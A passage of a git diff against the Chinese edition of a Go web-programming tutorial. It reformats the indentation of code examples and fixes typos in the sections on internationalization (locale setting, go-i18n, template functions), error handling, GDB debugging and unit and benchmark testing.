有了上面对locale的定义,那么我们就需要根据用户的信息(访问信息、个人信息、访问域名等)来设置与之相关的locale,我们可以通过如下几种方式来设置用户的locale。 ### 通过域名设置Locale -设置Locale的办法之一是在应用运行的时候采用域名分级的方式,例如,我们采用www.asta.com当做我们的英文站(默认站),而把域名www.asta.cn当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系,就可以设置好地区。这样处理有几点好处: +设置Locale的办法之一是在应用运行的时候采用域名分级的方式,例如,我们采用 www.asta.com 当做我们的英文站(默认站),而把域名 www.asta.cn 当做中文站。这样通过在应用里面设置域名和相应的locale的对应关系,就可以设置好地区。这样处理有几点好处: - 通过URL就可以很明显的识别 - 用户可以通过域名很直观的知道将访问那种语言的站点 @@ -21,38 +21,38 @@ GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三 我们可以通过下面的代码来实现域名的对应locale: ```Go - if r.Host == "www.asta.com" { - i18n.SetLocale("en") - } else if r.Host == "www.asta.cn" { - i18n.SetLocale("zh-CN") - } else if r.Host == "www.asta.tw" { - i18n.SetLocale("zh-TW") - } +if r.Host == "www.asta.com" { + i18n.SetLocale("en") +} else if r.Host == "www.asta.cn" { + i18n.SetLocale("zh-CN") +} else if r.Host == "www.asta.tw" { + i18n.SetLocale("zh-TW") +} ``` 当然除了整域名设置地区之外,我们还可以通过子域名来设置地区,例如"en.asta.com"表示英文站点,"cn.asta.com"表示中文站点。实现代码如下所示: ```Go - prefix := strings.Split(r.Host,".") +prefix := strings.Split(r.Host,".") - if prefix[0] == "en" { - i18n.SetLocale("en") - } else if prefix[0] == "cn" { - i18n.SetLocale("zh-CN") - } else if prefix[0] == "tw" { - i18n.SetLocale("zh-TW") - } +if prefix[0] == "en" { + i18n.SetLocale("en") +} else if prefix[0] == "cn" { + i18n.SetLocale("zh-CN") +} else if prefix[0] == "tw" { + i18n.SetLocale("zh-TW") +} ``` 通过域名设置Locale有如上所示的优点,但是我们一般开发Web应用的时候不会采用这种方式,因为首先域名成本比较高,开发一个Locale就需要一个域名,而且往往统一名称的域名不一定能申请的到,其次我们不愿意为每个站点去本地化一个配置,而更多的是采用url后面带参数的方式,请看下面的介绍。 ### 从域名参数设置Locale -目前最常用的设置Locale的方式是在URL里面带上参数,例如www.asta.com/hello?locale=zh或者www.asta.com/zh/hello。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。 +目前最常用的设置Locale的方式是在URL里面带上参数,例如 www.asta.com/hello?locale=zh 或者 www.asta.com/zh/hello 。这样我们就可以设置地区:`i18n.SetLocale(params["locale"])`。 这种设置方式几乎拥有前面讲的通过域名设置Locale的所有优点,它采用RESTful的方式,以使得我们不需要增加额外的方法来处理。但是这种方式需要在每一个的link里面增加相应的参数locale,这也许有点复杂而且有时候甚至相当的繁琐。不过我们可以写一个通用的函数url,让所有的link地址都通过这个函数来生成,然后在这个函数里面增加`locale=params["locale"]`参数来缓解一下。 -也许我们希望URL地址看上去更加的RESTful一点,例如:www.asta.com/en/books(英文站点)和www.asta.com/zh/books(中文站点),这种方式的URL更加有利于SEO,而且对于用户也比较友好,能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现): +也许我们希望URL地址看上去更加的RESTful一点,例如:www.asta.com/en/books (英文站点)和 www.asta.com/zh/books (中文站点),这种方式的URL更加有利于SEO,而且对于用户也比较友好,能够通过URL直观的知道访问的站点。那么这样的URL地址可以通过router来获取locale(参考REST小节里面介绍的router插件实现): ```Go - mux.Get("/:locale/books", listbook) +mux.Get("/:locale/books", listbook) ``` ### 从客户端设置地区 在一些特殊的情况下,我们需要根据客户端的信息而不是通过URL来设置Locale,这些信息可能来自于客户端设置的喜好语言(浏览器中设置),用户的IP地址,用户在注册的时候填写的所在地信息等。这种方式比较适合Web为基础的应用。 @@ -62,14 +62,14 @@ GO语言默认采用"UTF-8"编码集,所以我们实现i18n时不考虑第三 客户端请求的时候在HTTP头信息里面有`Accept-Language`,一般的客户端都会设置该信息,下面是Go语言实现的一个简单的根据`Accept-Language`实现设置地区的代码: ```Go - AL := r.Header.Get("Accept-Language") - if AL == "en" { - i18n.SetLocale("en") - } else if AL == "zh-CN" { - i18n.SetLocale("zh-CN") - } else if AL == "zh-TW" { - i18n.SetLocale("zh-TW") - } +AL := r.Header.Get("Accept-Language") +if AL == "en" { + i18n.SetLocale("en") +} else if AL == "zh-CN" { + i18n.SetLocale("zh-CN") +} else if AL == "zh-TW" { + i18n.SetLocale("zh-TW") +} ``` 当然在实际应用中,可能需要更加严格的判断来进行设置地区 - IP地址 diff --git a/zh/10.2.md b/zh/10.2.md index 5ba4aaa44..63ce7bd81 100644 --- a/zh/10.2.md +++ b/zh/10.2.md @@ -6,35 +6,35 @@ ```Go - package main - - import "fmt" - - var locales map[string]map[string]string - - func main() { - locales = make(map[string]map[string]string, 2) - en := make(map[string]string, 10) - en["pea"] = "pea" - en["bean"] = "bean" - locales["en"] = en - cn := make(map[string]string, 10) - cn["pea"] = "豌豆" - cn["bean"] = "毛豆" - locales["zh-CN"] = cn - lang := "zh-CN" - fmt.Println(msg(lang, "pea")) - fmt.Println(msg(lang, "bean")) - } - - func msg(locale, key string) string { - if v, ok := locales[locale]; ok { - if v2, ok := v[key]; ok { - return v2 - } +package main + +import "fmt" + +var locales map[string]map[string]string + +func main() { + locales = make(map[string]map[string]string, 2) + en := make(map[string]string, 10) + en["pea"] = "pea" + en["bean"] = "bean" + locales["en"] = en + cn := make(map[string]string, 10) + cn["pea"] = "豌豆" + cn["bean"] = "毛豆" + locales["zh-CN"] = cn + lang := "zh-CN" + fmt.Println(msg(lang, "pea")) + fmt.Println(msg(lang, "bean")) +} + +func msg(locale, key string) string { + if v, ok := locales[locale]; ok { + if v2, ok := v[key]; ok { + return v2 } - return "" } + return "" +} ``` 上面示例演示了不同locale的文本翻译,实现了中文和英文对于同一个key显示不同语言的实现,上面实现了中文的文本消息,如果想切换到英文版本,只需要把lang设置为en即可。 @@ -42,10 +42,10 @@ 有些时候仅是key-value替换是不能满足需要的,例如"I am 30 years old",中文表达是"我今年30岁了",而此处的30是一个变量,该怎么办呢?这个时候,我们可以结合`fmt.Printf`函数来实现,请看下面的代码: ```Go - en["how old"] ="I am %d years old" - cn["how old"] ="我今年%d岁了" +en["how old"] ="I am %d years old" +cn["how old"] ="我今年%d岁了" - fmt.Printf(msg(lang, "how old"), 30) +fmt.Printf(msg(lang, "how old"), 30) ``` 上面的示例代码仅用以演示内部的实现方案,而实际数据是存储在JSON里面的,所以我们可以通过`json.Unmarshal`来为相应的map填充数据。 @@ -59,82 +59,82 @@ $GOROOT/lib/time包中的timeinfo.zip含有locale对应的时区的定义,为 ```Go - en["time_zone"]="America/Chicago" - cn["time_zone"]="Asia/Shanghai" +en["time_zone"]="America/Chicago" +cn["time_zone"]="Asia/Shanghai" - loc,_:=time.LoadLocation(msg(lang,"time_zone")) - t:=time.Now() - t = t.In(loc) - fmt.Println(t.Format(time.RFC3339)) +loc,_:=time.LoadLocation(msg(lang,"time_zone")) +t:=time.Now() +t = t.In(loc) +fmt.Println(t.Format(time.RFC3339)) ``` 我们可以通过类似处理文本格式的方式来解决时间格式的问题,举例如下: ```Go - en["date_format"]="%Y-%m-%d %H:%M:%S" - cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" +en["date_format"]="%Y-%m-%d %H:%M:%S" +cn["date_format"]="%Y年%m月%d日 %H时%M分%S秒" - fmt.Println(date(msg(lang,"date_format"),t)) +fmt.Println(date(msg(lang,"date_format"),t)) - func date(fomate string,t time.Time) string{ - year, month, day = t.Date() - hour, min, sec = t.Clock() - //解析相应的%Y %m %d %H %M %S然后返回信息 - //%Y 替换成2012 - //%m 替换成10 - //%d 替换成24 - } +func date(fomate string,t time.Time) string{ + year, month, day = t.Date() + hour, min, sec = t.Clock() + //解析相应的%Y %m %d %H %M %S然后返回信息 + //%Y 替换成2012 + //%m 替换成10 + //%d 替换成24 +} ``` ## 本地化货币值 各个地区的货币表示也不一样,处理方式也与日期差不多,细节请看下面代码: ```Go - en["money"] ="USD %d" - cn["money"] ="¥%d元" +en["money"] ="USD %d" +cn["money"] ="¥%d元" - fmt.Println(date(msg(lang,"date_format"),100)) +fmt.Println(money_format(msg(lang,"money"),100)) - func money_format(fomate string,money int64) string{ - return fmt.Sprintf(fomate,money) - } +func money_format(fomate string,money int64) string{ + return fmt.Sprintf(fomate,money) +} ``` ## 本地化视图和资源 我们可能会根据Locale的不同来展示视图,这些视图包含不同的图片、css、js等各种静态资源。那么应如何来处理这些信息呢?首先我们应按locale来组织文件信息,请看下面的文件目录安排: ```html - views - |--en //英文模板 - |--images //存储图片信息 - |--js //存储JS文件 - |--css //存储css文件 - index.tpl //用户首页 - login.tpl //登陆首页 - |--zh-CN //中文模板 - |--images - |--js - |--css - index.tpl - login.tpl +views +|--en //英文模板 + |--images //存储图片信息 + |--js //存储JS文件 + |--css //存储css文件 + index.tpl //用户首页 + login.tpl //登陆首页 +|--zh-CN //中文模板 + |--images + |--js + |--css + index.tpl + login.tpl ``` 有了这个目录结构后我们就可以在渲染的地方这样来实现代码: ```Go - s1, _ := template.ParseFiles("views"+lang+"index.tpl") - VV.Lang=lang - s1.Execute(os.Stdout, VV) +s1, _ := template.ParseFiles("views/"+lang+"/index.tpl") +VV.Lang=lang +s1.Execute(os.Stdout, VV) ``` 而对于里面的index.tpl里面的资源设置如下: ```html - // js文件 - - // css文件 - - // 图片文件 - +// js文件 + +// css文件 + +// 图片文件 + ``` 采用这种方式来本地化视图以及资源时,我们就可以很容易的进行扩展了。 diff --git a/zh/10.3.md b/zh/10.3.md index fdadae76a..5ce26a4b0 100644 --- a/zh/10.3.md +++ b/zh/10.3.md @@ -5,103 +5,103 @@ 在开发一个应用的时候,首先我们要决定是只支持一种语言,还是多种语言,如果要支持多种语言,我们则需要制定一个组织结构,以方便将来更多语言的添加。在此我们设计如下:Locale有关的文件放置在config/locales下,假设你要支持中文和英文,那么你需要在这个文件夹下放置en.json和zh.json。大概的内容如下所示: ```json - # zh.json +# zh.json - { - "zh": { - "submit": "提交", - "create": "创建" - } +{ +"zh": { + "submit": "提交", + "create": "创建" } +} - #en.json +# en.json - { - "en": { - "submit": "Submit", - "create": "Create" - } +{ +"en": { + "submit": "Submit", + "create": "Create" } +} ``` 为了支持国际化,在此我们使用了一个国际化相关的包——[go-i18n](https://github.com/astaxie/go-i18n),首先我们向go-i18n包注册config/locales这个目录,以加载所有的locale文件 ```Go - Tr:=i18n.NewLocale() - Tr.LoadPath("config/locales") +Tr:=i18n.NewLocale() +Tr.LoadPath("config/locales") ``` 这个包使用起来很简单,你可以通过下面的方式进行测试: ```Go - fmt.Println(Tr.Translate("submit")) - //输出Submit - Tr.SetLocale("zh") - fmt.Println(Tr.Translate("submit")) - //输出“递交” +fmt.Println(Tr.Translate("submit")) +//输出Submit +Tr.SetLocale("zh") +fmt.Println(Tr.Translate("submit")) +//输出“提交” ``` ## 自动加载本地包 上面我们介绍了如何自动加载自定义语言包,其实go-i18n库已经预加载了很多默认的格式信息,例如时间格式、货币格式,用户可以在自定义配置时改写这些默认配置,请看下面的处理过程: ```Go - //加载默认配置文件,这些文件都放在go-i18n/locales下面 +//加载默认配置文件,这些文件都放在go-i18n/locales下面 - //文件命名zh.json、en-json、en-US.json等,可以不断的扩展支持更多的语言 +//文件命名zh.json、en.json、en-US.json等,可以不断的扩展支持更多的语言 - func (il *IL) loadDefaultTranslations(dirPath string) error { - dir, err := os.Open(dirPath) - if err != nil { - return err - } - defer dir.Close() +func (il *IL) loadDefaultTranslations(dirPath string) error { + dir, err := os.Open(dirPath) + if err != nil { + return err + } + defer dir.Close() - names, err := dir.Readdirnames(-1) + names, err := dir.Readdirnames(-1) + if err != nil { + return err + } + + for _, name := range names { + fullPath := path.Join(dirPath, name) + + fi, err := os.Stat(fullPath) if err != nil { return err } - for _, name := range names { - fullPath := path.Join(dirPath, name) - - fi, err := os.Stat(fullPath) + if fi.IsDir() { + if err := il.loadTranslations(fullPath); err != nil { + return err + } + } else if locale := il.matchingLocaleFromFileName(name); locale != "" { + file, err := os.Open(fullPath) if err != nil { return err } + defer file.Close() - if fi.IsDir() { - if err := il.loadTranslations(fullPath); err != nil { - return err - } - } else if locale := il.matchingLocaleFromFileName(name); locale != "" { - file, err := os.Open(fullPath) - if err != nil { - return err - } - defer file.Close() - - if err := il.loadTranslation(file, locale); err != nil { - return err - } + if err := il.loadTranslation(file, locale); err != nil { + return err } } - - return nil } + return nil +} + ``` 通过上面的方法加载配置信息到默认的文件,这样我们就可以在我们没有自定义时间信息的时候执行如下的代码获取对应的信息: ```Go - //locale=zh的情况下,执行如下代码: +//locale=zh的情况下,执行如下代码: - fmt.Println(Tr.Time(time.Now())) - //输出:2009年1月08日 星期四 20:37:58 CST +fmt.Println(Tr.Time(time.Now())) +//输出:2009年1月08日 星期四 20:37:58 CST - fmt.Println(Tr.Time(time.Now(),"long")) - //输出:2009年1月08日 +fmt.Println(Tr.Time(time.Now(),"long")) +//输出:2009年1月08日 - fmt.Println(Tr.Money(11.11)) - //输出:¥11.11 +fmt.Println(Tr.Money(11.11)) +//输出:¥11.11 ``` ## template mapfunc 上面我们实现了多个语言包的管理和加载,而一些函数的实现是基于逻辑层的,例如:"Tr.Translate"、"Tr.Time"、"Tr.Money"等,虽然我们在逻辑层可以利用这些函数把需要的参数进行转换后在模板层渲染的时候直接输出,但是如果我们想在模版层直接使用这些函数该怎么实现呢?不知你是否还记得,在前面介绍模板的时候说过:Go语言的模板支持自定义模板函数,下面是我们实现的方便操作的mapfunc: @@ -111,28 +111,28 @@ 文本信息调用`Tr.Translate`来实现相应的信息转换,mapFunc的实现如下: ```Go - func I18nT(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return Tr.Translate(s) +func I18nT(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) } + return Tr.Translate(s) +} ``` 注册函数如下: ```Go - t.Funcs(template.FuncMap{"T": I18nT}) +t.Funcs(template.FuncMap{"T": I18nT}) ``` 模板中使用如下: ```Go - {{.V.Submit | T}} +{{.V.Submit | T}} ``` 2. 时间日期 @@ -140,54 +140,54 @@ 时间日期调用`Tr.Time`函数来实现相应的时间转换,mapFunc的实现如下: ```Go - func I18nTimeDate(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return Tr.Time(s) +func I18nTimeDate(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) } + return Tr.Time(s) +} ``` 注册函数如下: ```Go - t.Funcs(template.FuncMap{"TD": I18nTimeDate}) +t.Funcs(template.FuncMap{"TD": I18nTimeDate}) ``` 模板中使用如下: ```Go - {{.V.Now | TD}} +{{.V.Now | TD}} ``` 3. 货币信息 货币调用`Tr.Money`函数来实现相应的时间转换,mapFunc的实现如下: ```Go - func I18nMoney(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - return Tr.Money(s) +func I18nMoney(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) + } + if !ok { + s = fmt.Sprint(args...) } + return Tr.Money(s) +} ``` 注册函数如下: ```Go - t.Funcs(template.FuncMap{"M": I18nMoney}) +t.Funcs(template.FuncMap{"M": I18nMoney}) ``` 模板中使用如下: ```Go - {{.V.Money | M}} +{{.V.Money | M}} ``` ## 总结 通过这小节我们知道了如何实现一个多语言包的Web应用,通过自定义语言包我们可以方便的实现多语言,而且通过配置文件能够非常方便的扩充多语言,默认情况下,go-i18n会自定加载一些公共的配置信息,例如时间、货币等,我们就可以非常方便的使用,同时为了支持在模板中使用这些函数,也实现了相应的模板函数,这样就允许我们在开发Web应用的时候直接在模板中通过pipeline的方式来操作多语言包。 diff --git a/zh/11.1.md b/zh/11.1.md index deaecf533..2360de4a2 100644 --- a/zh/11.1.md +++ b/zh/11.1.md @@ -2,59 +2,59 @@ Go语言主要的设计准则是:简洁、明白,简洁是指语法和C类似,相当的简单,明白是指任何语句都是很明显的,不含有任何隐含的东西,在错误处理方案的设计中也贯彻了这一思想。我们知道在C语言里面是通过返回-1或者NULL之类的信息来表示错误,但是对于使用者来说,不查看相应的API说明文档,根本搞不清楚这个返回值究竟代表什么意思,比如:返回0是成功,还是失败,而Go定义了一个叫做error的类型,来显式表达错误。在使用时,通过把返回的error变量与nil的比较,来判定操作是否成功。例如`os.Open`函数在打开文件失败时将返回一个不为nil的error变量 ```Go - func Open(name string) (file *File, err error) +func Open(name string) (file *File, err error) ``` 下面这个例子通过调用`os.Open`打开一个文件,如果出现错误,那么就会调用`log.Fatal`来输出错误信息: ```Go - f, err := os.Open("filename.ext") - if err != nil { - log.Fatal(err) - } +f, err := os.Open("filename.ext") +if err != nil { + log.Fatal(err) +} ``` 类似于`os.Open`函数,标准包中所有可能出错的API都会返回一个error变量,以方便错误处理,这个小节将详细地介绍error类型的设计,和讨论开发Web应用中如何更好地处理error。 ## Error类型 error类型是一个接口类型,这是它的定义: ```Go - type error interface { - Error() string - } +type error interface { + Error() string +} ``` error是一个内置的接口类型,我们可以在/builtin/包下面找到相应的定义。而我们在很多内部包里面用到的 error是errors包下面的实现的私有结构errorString ```Go - // errorString is a trivial implementation of error. - type errorString struct { - s string - } +// errorString is a trivial implementation of error. +type errorString struct { + s string +} - func (e *errorString) Error() string { - return e.s - } +func (e *errorString) Error() string { + return e.s +} ``` 你可以通过`errors.New`把一个字符串转化为errorString,以得到一个满足接口error的对象,其内部实现如下: ```Go - // New returns an error that formats as the given text. - func New(text string) error { - return &errorString{text} - } +// New returns an error that formats as the given text. +func New(text string) error { + return &errorString{text} +} ``` 下面这个例子演示了如何使用`errors.New`: ```Go - func Sqrt(f float64) (float64, error) { - if f < 0 { - return 0, errors.New("math: square root of negative number") - } - // implementation +func Sqrt(f float64) (float64, error) { + if f < 0 { + return 0, errors.New("math: square root of negative number") } + // implementation +} ``` 在下面的例子中,我们在调用Sqrt的时候传递的一个负数,然后就得到了non-nil的error对象,将此对象与nil比较,结果为true,所以fmt.Println(fmt包在处理error时会调用Error方法)被调用,以输出错误,请看下面调用的示例代码: ```Go - f, err := Sqrt(-1) +f, err := Sqrt(-1) if err != nil { fmt.Println(err) } @@ -63,28 +63,28 @@ error是一个内置的接口类型,我们可以在/builtin/包下面找到相 通过上面的介绍我们知道error是一个interface,所以在实现自己的包的时候,通过定义实现此接口的结构,我们就可以实现自己的错误定义,请看来自Json包的示例: ```Go - type SyntaxError struct { - msg string // 错误描述 - Offset int64 // 错误发生的位置 - } +type SyntaxError struct { + msg string // 错误描述 + Offset int64 // 错误发生的位置 +} - func (e *SyntaxError) Error() string { return e.msg } +func (e *SyntaxError) Error() string { return e.msg } ``` Offset字段在调用Error的时候不会被打印,但是我们可以通过类型断言获取错误类型,然后可以打印相应的错误信息,请看下面的例子: ```Go - if err := dec.Decode(&val); err != nil { - if serr, ok := err.(*json.SyntaxError); ok { - line, col := findLine(f, serr.Offset) - return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) - } - return err +if err := dec.Decode(&val); err != nil { + if serr, ok := err.(*json.SyntaxError); ok { + line, col := findLine(f, serr.Offset) + return fmt.Errorf("%s:%d:%d: %v", f.Name(), line, col, err) } + return err +} ``` 需要注意的是,函数返回自定义错误时,返回值推荐设置为error类型,而非自定义错误类型,特别需要注意的是不应预声明自定义错误类型的变量。例如: ```Go - func Decode() *SyntaxError { // 错误,将可能导致上层调用者err!=nil的判断永远为true。 +func Decode() *SyntaxError { // 错误,将可能导致上层调用者err!=nil的判断永远为true。 var err *SyntaxError // 预声明错误变量 if 出错条件 { err = &SyntaxError{} @@ -97,25 +97,25 @@ Offset字段在调用Error的时候不会被打印,但是我们可以通过类 上面例子简单的演示了如何自定义Error类型。但是如果我们还需要更复杂的错误处理呢?此时,我们来参考一下net包采用的方法: ```Go - package net +package net - type Error interface { - error - Timeout() bool // Is the error a timeout? - Temporary() bool // Is the error temporary? - } +type Error interface { + error + Timeout() bool // Is the error a timeout? + Temporary() bool // Is the error temporary? +} ``` 在调用的地方,通过类型断言err是不是net.Error,来细化错误的处理,例如下面的例子,如果一个网络发生临时性错误,那么将会sleep 1秒之后重试: ```Go - if nerr, ok := err.(net.Error); ok && nerr.Temporary() { - time.Sleep(1e9) - continue - } - if err != nil { - log.Fatal(err) - } +if nerr, ok := err.(net.Error); ok && nerr.Temporary() { + time.Sleep(1e9) + continue +} +if err != nil { + log.Fatal(err) +} ``` ## 错误处理 Go在错误处理上采用了与C类似的检查返回值的方式,而不是其他多数主流语言采用的异常方式,这造成了代码编写上的一个很大的缺点:错误处理代码的冗余,对于这种情况是我们通过复用检测函数来减少类似的代码。 @@ -123,91 +123,91 @@ Go在错误处理上采用了与C类似的检查返回值的方式,而不是 请看下面这个例子代码: ```Go - func init() { - http.HandleFunc("/view", viewRecord) - } +func init() { + http.HandleFunc("/view", viewRecord) +} - func viewRecord(w http.ResponseWriter, r *http.Request) { - c := appengine.NewContext(r) - key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) - record := new(Record) - if err := datastore.Get(c, key, record); err != nil { - http.Error(w, err.Error(), 500) - return - } - if err := viewTemplate.Execute(w, record); err != nil { - http.Error(w, err.Error(), 500) - } +func viewRecord(w http.ResponseWriter, r *http.Request) { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + http.Error(w, err.Error(), 500) + return + } + if err := viewTemplate.Execute(w, record); err != nil { + http.Error(w, err.Error(), 500) } +} ``` 上面的例子中获取数据和模板展示调用时都有检测错误,当有错误发生时,调用了统一的处理函数`http.Error`,返回给客户端500错误码,并显示相应的错误数据。但是当越来越多的HandleFunc加入之后,这样的错误处理逻辑代码就会越来越多,其实我们可以通过自定义路由器来缩减代码(实现的思路可以参考第三章的HTTP详解)。 ```Go - type appHandler func(http.ResponseWriter, *http.Request) error +type appHandler func(http.ResponseWriter, *http.Request) error - func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if err := fn(w, r); err != nil { - http.Error(w, err.Error(), 500) - } +func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if err := fn(w, r); err != nil { + http.Error(w, err.Error(), 500) } +} ``` 上面我们定义了自定义的路由器,然后我们可以通过如下方式来注册函数: ```Go - func init() { - http.Handle("/view", appHandler(viewRecord)) - } +func init() { + http.Handle("/view", appHandler(viewRecord)) +} ``` 当请求/view的时候我们的逻辑处理可以变成如下代码,和第一种实现方式相比较已经简单了很多。 ```Go - func viewRecord(w http.ResponseWriter, r *http.Request) error { - c := appengine.NewContext(r) - key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) - record := new(Record) - if err := datastore.Get(c, key, record); err != nil { - return err - } - return viewTemplate.Execute(w, record) +func viewRecord(w http.ResponseWriter, r *http.Request) error { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return err } + return viewTemplate.Execute(w, record) +} ``` 上面的例子错误处理的时候所有的错误返回给用户的都是500错误码,然后打印出来相应的错误代码,其实我们可以把这个错误信息定义的更加友好,调试的时候也方便定位问题,我们可以自定义返回的错误类型: ```Go - type appError struct { - Error error - Message string - Code int - } +type appError struct { + Error error + Message string + Code int +} ``` 这样我们的自定义路由器可以改成如下方式: ```Go - type appHandler func(http.ResponseWriter, *http.Request) *appError +type appHandler func(http.ResponseWriter, *http.Request) *appError - func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { - if e := fn(w, r); e != nil { // e is *appError, not os.Error. - c := appengine.NewContext(r) - c.Errorf("%v", e.Error) - http.Error(w, e.Message, e.Code) - } +func (fn appHandler) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if e := fn(w, r); e != nil { // e is *appError, not os.Error. + c := appengine.NewContext(r) + c.Errorf("%v", e.Error) + http.Error(w, e.Message, e.Code) } +} ``` 这样修改完自定义错误之后,我们的逻辑处理可以改成如下方式: ```Go - func viewRecord(w http.ResponseWriter, r *http.Request) *appError { - c := appengine.NewContext(r) - key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) - record := new(Record) - if err := datastore.Get(c, key, record); err != nil { - return &appError{err, "Record not found", 404} - } - if err := viewTemplate.Execute(w, record); err != nil { - return &appError{err, "Can't display record", 500} - } - return nil +func viewRecord(w http.ResponseWriter, r *http.Request) *appError { + c := appengine.NewContext(r) + key := datastore.NewKey(c, "Record", r.FormValue("id"), 0, nil) + record := new(Record) + if err := datastore.Get(c, key, record); err != nil { + return &appError{err, "Record not found", 404} + } + if err := viewTemplate.Execute(w, record); err != nil { + return &appError{err, "Can't display record", 500} } + return nil +} ``` 如上所示,在我们访问view的时候可以根据不同的情况获取不同的错误码和错误信息,虽然这个和第一个版本的代码量差不多,但是这个显示的错误更加明显,提示的错误信息更加友好,扩展性也比第一个更好。 diff --git a/zh/11.2.md b/zh/11.2.md index 6677c8245..68809f666 100644 --- a/zh/11.2.md +++ b/zh/11.2.md @@ -86,7 +86,7 @@ GDB的一些常用命令如下所示 - next 简写命令 `n`,用来单步调试,跳到下一步,当有断点之后,可以输入`n`跳转到下一步继续执行 -- coutinue +- continue 简称命令 `c`,用来跳出当前断点处,后面可以跟参数N,跳过多少次断点 @@ -98,31 +98,31 @@ GDB的一些常用命令如下所示 我们通过下面这个代码来演示如何通过GDB来调试Go程序,下面是将要演示的代码: ```Go - package main +package main - import ( - "fmt" - "time" - ) +import ( + "fmt" + "time" +) - func counting(c chan<- int) { - for i := 0; i < 10; i++ { - time.Sleep(2 * time.Second) - c <- i - } - close(c) +func counting(c chan<- int) { + for i := 0; i < 10; i++ { + time.Sleep(2 * time.Second) + c <- i } - - func main() { - msg := "Starting main" - fmt.Println(msg) - bus := make(chan int) - msg = "starting a gofunc" - go counting(bus) - for count := range bus { - fmt.Println("count:", count) - } + close(c) +} + +func main() { + msg := "Starting main" + fmt.Println(msg) + bus := make(chan int) + msg = "starting a gofunc" + go counting(bus) + for count := range bus { + fmt.Println("count:", count) } +} ``` 编译文件,生成可执行文件gdbfile: diff --git a/zh/11.3.md b/zh/11.3.md index b8f1ab1ca..5b154ea58 100644 --- a/zh/11.3.md +++ b/zh/11.3.md @@ -6,7 +6,7 @@ Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test` 另外建议安装[gotests](https://github.com/cweill/gotests)插件自动生成测试代码: ```Go - go get -u -v github.com/cweill/gotests/... +go get -u -v github.com/cweill/gotests/... ``` @@ -19,19 +19,19 @@ Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test` ```Go - package gotest - - import ( - "errors" - ) - - func Division(a, b float64) (float64, error) { - if b == 0 { - return 0, errors.New("除数不能为0") - } - - return a / b, nil + package gotest + + import ( + "errors" + ) + + func Division(a, b float64) (float64, error) { + if b == 0 { + return 0, errors.New("除数不能为0") } + + return a / b, nil + } ``` @@ -49,23 +49,23 @@ Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test` ```Go - package gotest - - import ( - "testing" - ) - - func Test_Division_1(t *testing.T) { - if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function - t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错 - } else { - t.Log("第一个测试通过了") //记录一些你期望记录的信息 - } - } - - func Test_Division_2(t *testing.T) { - t.Error("就是不通过") + package gotest + + import ( + "testing" + ) + + func Test_Division_1(t *testing.T) { + if i, e := Division(6, 2); i != 3 || e != nil { //try a unit test on function + t.Error("除法函数测试没通过") // 如果不是如预期的那么就报错 + } else { + t.Log("第一个测试通过了") //记录一些你期望记录的信息 } + } + + func Test_Division_2(t *testing.T) { + t.Error("就是不通过") + } ``` @@ -91,13 +91,13 @@ Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test` ```Go - func Test_Division_2(t *testing.T) { - if _, e := Division(6, 0); e == nil { //try a unit test on function - t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错 - } else { - t.Log("one test passed.", e) //记录一些你期望记录的信息 - } - } + func Test_Division_2(t *testing.T) { + if _, e := Division(6, 0); e == nil { //try a unit test on function + t.Error("Division did not work as expected.") // 如果不是如预期的那么就报错 + } else { + t.Log("one test passed.", e) //记录一些你期望记录的信息 + } + } ``` 然后我们执行`go test -v`,就显示如下信息,测试通过了: @@ -116,7 +116,7 @@ Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test` - 压力测试用例必须遵循如下格式,其中XXX可以是任意字母数字的组合,但是首字母不能是小写字母 ```Go - func BenchmarkXXX(b *testing.B) { ... } + func BenchmarkXXX(b *testing.B) { ... } ``` - `go test`不会默认执行压力测试的函数,如果要执行压力测试需要带上参数`-test.bench`,语法:`-test.bench="test_name_regex"`,例如`go test -test.bench=".*"`表示测试全部的压力测试函数 @@ -127,38 +127,39 @@ Go语言中自带有一个轻量级的测试框架`testing`和自带的`go test` ```Go - package gotest - - import ( - "testing" - ) - - func Benchmark_Division(b *testing.B) { - for i := 0; i < b.N; i++ { //use b.N for looping - Division(4, 5) - } +package gotest + +import ( + "testing" +) + +func Benchmark_Division(b *testing.B) { + for i := 0; i < b.N; i++ { //use b.N for looping + Division(4, 5) } - - func Benchmark_TimeConsumingFunction(b *testing.B) { - b.StopTimer() //调用该函数停止压力测试的时间计数 - - 